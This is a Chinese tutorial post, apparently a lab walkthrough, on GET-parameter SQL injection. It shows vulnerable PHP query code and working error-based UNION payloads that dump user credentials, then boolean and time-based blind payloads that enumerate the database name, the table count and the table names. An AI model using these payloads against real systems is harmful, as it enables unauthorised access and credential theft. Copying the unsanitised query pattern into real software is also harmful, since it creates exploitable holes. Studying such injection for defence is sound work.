当前位置:   article > 正文

SQL注入漏洞-GET注入_get型注入攻击方式

get型注入攻击方式

SQL 注入是一种攻击方式,在这种攻击方式中,恶意代码被插入到字符串中,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查,因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。

SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时,将执行该恶意代码。

注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串,因此攻击者将用注释标记“--”来终止注入的字符串。执行时,此后的文本将被忽略。


显错注入

关键代码为:

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 构造语句显示所有的用户名和密码:%27 union select * from users --+(%27是單引號 ' )


关键代码为:

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

 构造语句来显示所有的用户名和密码:1%20union%20select%20*%20from%20users%20--+


关键代码为:

 $id ='"' .$id. '"';

 $sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";

 构造语句显示所有的用户名和密码:1%27%29%20union%20select%20%2a%20from%20users%20--+


盲注

盲注需要掌握一些MySQL的相关函数:

  • length(str):返回str字符串的长度。如执行select

length(database())则会返回当前数据库名称的长度。而单独select

database()则回返回当前数据库的名称。

  • substr(str, pos, len):从pos位置取出str字符串的len个字符。

如select substring('abcde', 4, 2)则返回de,pos为负则倒数pos个位置,如select substring('abcde', -4, 2);返回bc。

  • ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。

如select ASCII('a')返回97。

将上面几个函数组合一下就有布尔值出现。如Select ascii(substr(database(),2,1)) = 101;当database()即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>。

  • if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。

如  select if ((select database())='secur',sleep(10),null)即为判断当当前数据库的名字为secur的时候,MySQL会休眠10秒。

MySQL的主要内置表和字段信息:

information_schema 库的 TABLES 表,主要字段分别是:

  1. TABLE_SCHEMA : 数据库名
  2. TABLE_NAME:表名

关键代码为:

先來猜第一個字,可以用二分法猜,比如一開始

1' AND (ascii(substr((select database()) ,1,1)) > 64)--+

如果不中就改成64+64/2這樣子最快,沒必要用=號一個一個的加上去太慢了,這里就不作演示了

 第二個字節就

1' AND (ascii(substr((select database()) ,2,1)) > 64)--+

這樣子猜最後得出数据库名称为security


 接下來就做基于時間的盲注

关键代码为:

构造语句来猜出当前数据库中表的数量

1' and if ((select database()="security"), sleep(5), sleep(10))--+;已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。

 接下來猜表的數量

1' and if (((select COUNT(table_name) from information_schema.TABLES where table_schema=database())=4), sleep(10), null)--+

 4个表


 关键代码为:

构造语句来猜出当前数据库中任意一个表的名字,第一個表第一個字節

1" and if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1),1,1))=101),sleep(5),null) -- +

 第二個表的話就是把limit 0,1改為limit 1,1

 

 所以第二個表第一個字節是r

表名有emails,referers、uagents、users

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/152720
推荐阅读
相关标签
  

闽ICP备14008679号